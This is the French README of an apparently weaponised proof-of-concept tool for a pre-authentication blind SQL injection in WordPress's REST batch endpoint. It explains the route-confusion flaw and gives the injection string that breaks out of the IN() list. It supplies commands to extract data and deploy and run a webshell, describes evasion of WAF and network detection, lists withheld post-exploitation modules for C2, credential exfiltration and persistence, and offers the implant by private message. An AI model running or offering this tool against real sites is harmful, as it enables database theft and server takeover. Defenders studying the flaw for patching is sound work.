Une variante de wp2shell entièrement weaponisée pour le red team (sécurité offensive), conçue pour les tests d'intrusion autorisés et à des fins éducatives.
Une preuve de concept autonome pour l'injection SQL aveugle non authentifiée accessible via le point de terminaison batch REST de WordPress (/wp-json/batch/v1). Il s'agit d'une implémentation indépendante construite à partir des mécanismes de vulnérabilité publiés.
Avis officiel : WordPress Security Release | CVE-2026-63030
Auteur : J4ck3LSyN
Autorités : CFSD, NFK & C4b1NKr3W
Remarque : Je n'ai pas inclus dans cette publication l'implant de persistance weaponisé
r00t.pyqui lui est associé, pour des raisons juridiques évidentes. Pour l'obtenir, vous pouvez m'envoyer un message privé (DM) sur x
[!WARNING]
Ce code est fourni EN L'ÉTAT à des fins éducatives et de recherche uniquement. N'utilisez pas ce PoC sur des systèmes de production, des environnements partagés ou des cibles non autorisées.
- Exécuter ou héberger ce code peut déclencher des détections antivirus, des alertes de surveillance de sécurité ou des conséquences juridiques en cas d'utilisation abusive.
- Les auteurs et les mainteneurs du dépôt déclinent toute responsabilité en cas de dommage, d'utilisation abusive ou d'activité illégale résultant de ce code.
poc.py - CLI principale de preuve de concept (modes check, read, shell)val.py - Validateur passif léger de vulnérabilité (val.py <target>)MITIGATIONS.md - Guide complet d'atténuation et de durcissementLETHALITY.html - Matrice visuelle de létalité des capacités (heatmap + kill chain)LICENSE - Licence MITr00t.py:redacted - Orchestrateur principal de l'implant (fait le lien entre tous les éléments)modules/ - Modules d'implant post-exploitationexploit.py - Logique d'exploitation principale (primitive SQLi + RCE)privesc.py:redacted - Vérifications d'élévation de privilèges locale (DirtyCOW, sudo, capabilities, etc.)lpe_byond.py:redacted - LPE avancé utilisant les techniques BYOVD + eBPF (contrôlé par l'opérateur)recon.py:redacted - Profilage et énumération de l'hôtepersistence.py:redacted - Mécanismes de persistance (systemd, cron, clés SSH)c2.py:redacted - Beacon C2 chiffré (HTTPS + DoH)exfil.py:redacted - Collecte d'identifiants et exfiltration de donnéesstealth.py:redacted - Anti-analyse, détection de sandbox et obfuscation| Branch | Versions affectées | Corrigé dans |
|---|---|---|
| 6.9.x | 6.9.0 - 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 - 7.0.1 | 7.0.2 |
Consultez les publications de sécurité officielles de WordPress pour plus de détails.
Le point de terminaison batch distribue plusieurs sous-requêtes en un seul appel, en validant et en vérifiant les permissions de chacune indépendamment. Lorsqu'un chemin de sous-requête échoue à wp_parse_url(), il est ajouté au tableau de validation mais pas au tableau des handlers correspondants. Les deux tableaux se désynchronisent, et une sous-requête ultérieure est distribuée sous le handler d'une autre sous-requête. C'est la confusion de routes.
Ce PoC imbrique la primitive deux fois :
POST /wp/v2/posts portant un corps requests est distribuée sous le handler batch lui-même. Ayant été validée comme une requête posts, sa liste interne requests n'est jamais revérifiée par rapport au schéma batch, de sorte que les sous-requêtes internes peuvent utiliser GET (contournement de la liste blanche des méthodes).GET /wp/v2/users portant author_exclude=... est distribuée sous posts get_items(). Le schéma de la collection users ne comporte pas de paramètre author_exclude, la valeur traverse donc la validation sans modification. posts get_items() mappe author_exclude vers la variable de requête author__not_in de WP_Query, que les versions vulnérables interpolent dans le SQL sous forme de chaîne brute.Le puits (sink) final est une injection SQL aveugle booléenne / temporelle avant authentification :
... post_author NOT IN (<value>) ...
Une valeur de 0) <sql>-- - ferme la liste IN() et ajoute du SQL arbitraire.
Le PoC est verrouillé par défaut (fail-closed). Trois garde-fous d'exécution empêchent toute exécution accidentelle ou hors périmètre. Ils sont tous appliqués dans modules/exploit.py ; la CLI de poc.py se contente de les transmettre.
| Flag | Scope | Effet en cas d'absence |
|---|---|---|
--authorized | Toutes les I/O réseau | AuthorizationError avant tout envoi |
--noop | Toutes les sous-commandes | Construit/affiche les payloads ; aucun contact réseau |
--max-requests | BatchClient | Budget de requêtes strict |
--r00t | Sous-commande shell | Capacités RCE post-authentification non fournies |
AuthorizationError est levée dans BatchClient._ensure_authorized(), AdminSession._ensure_authorized() et AdminSession._ensure_r00t().BatchClient._count() applique --max-requests avant l'ouverture de la socket.--r00t est le séparateur de capacités : une version distribuée sans lui ne peut ni déployer ni exécuter de webshell.Gestion des identifiants pour shell : le nom d'utilisateur et le mot de passe admin proviennent de --user / --password, ou de variables d'environnement / d'un fichier sécurisé.
git clone https://github.com/J4ck3LSyN-Gen2/CVE-2026-63030-wp2r00t.git
cd CVE-2026-63030-wp2r00t
python3 -m py_compile modules/exploit.py poc.py # basic sanity check
Prérequis : Python 3.11+, bibliothèque standard uniquement (aucune dépendance pip).
python3 poc.py <command> <url> [flags]
Drapeaux courants (toutes les sous-commandes) :
--authorized Assert you own / are authorized to test <url>. Required to send.
--noop Build/validate payloads without sending (no network contact).
--max-requests N Hard cap on requests to the target.
--rest-route Use /?rest_route=/batch/v1 instead of /wp-json/batch/v1.
--timeout FLOAT Request timeout (default 30).
--proxy URL HTTP(S) proxy.
--insecure Disable TLS certificate verification.
check - Confirmer la vulnérabilité (non destructif)read - Extraction SQL aveugleshell - Aide au webshell post-authentification (nécessite --r00t)validate - Identifiant passifRéférence rapide
| Goal | Commande |
|---|---|
| Aperçu des payloads de sonde | python3 poc.py check <url> --noop |
| Confirmer la vulnérabilité | python3 poc.py check <url> --authorized |
| Preuve de timing active | ... check <url> --authorized --confirm-sqli |
| Aperçu des payloads SQLi | python3 poc.py read <url> --noop --query "SELECT @@version" |
| Extraire des données | python3 poc.py read <url> --authorized --query "SELECT @@version" |
| Aperçu de l'artefact webshell | python3 poc.py shell <url> --noop --r00t --cmd "id" |
| Déployer + exécuter (autorisé) | python3 poc.py shell <url> --authorized --r00t --user admin --cmd "id" |
| Scan passif | python3 poc.py validate <url> --authorized |
La documentation complète des commandes est disponible dans les sections détaillées d'origine (ou exécutez python3 poc.py --help).
jitter) et valeurs SLEEP variées par échantillon déjouent les analyses comportementales WAF/NDR à cadence / delta fixes.Les modules post-exploitation (
recon,privesc,exfil,persistence,stealth,c2,lpe_byond) etr00t.pyforment une chaîne d'implant distincte qui ne fait pas partie du PoC exposé au réseau et qui est volontairement exclue des versions partagées. Ils sortent du cadre de ce document.
Ce projet est distribué sous la licence MIT. Voir LICENSE pour plus de détails.
Avertissement : Utilisez uniquement sur des systèmes que vous possédez ou que vous êtes explicitement autorisé à tester. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive.